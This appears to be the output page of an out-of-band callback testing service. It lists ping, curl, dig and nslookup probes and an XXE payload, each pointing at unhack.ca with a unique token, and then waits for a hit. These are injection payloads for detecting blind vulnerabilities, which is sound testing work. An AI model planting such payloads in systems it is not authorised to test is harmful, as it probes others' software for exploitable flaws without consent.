$ ping -c1 -p 00f10a952aeeaa2aea33676d2f2ceb00 unhack.ca
 
$ curl http://unhack.ca/p/f10a952aeeaa2aea33676d2f2ceb
 
$ dig f10a952aeeaa2aea33676d2f2ceb @unhack.ca
 
$ dig f10a952aeeaa2aea33676d2f2ceb.ns.unhack.ca
 
C:\> nslookup f10a952aeeaa2aea33676d2f2ceb unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f10a952aeeaa2aea33676d2f2ceb">]>
    <foo>&xxe;</foo>
Waiting for ping...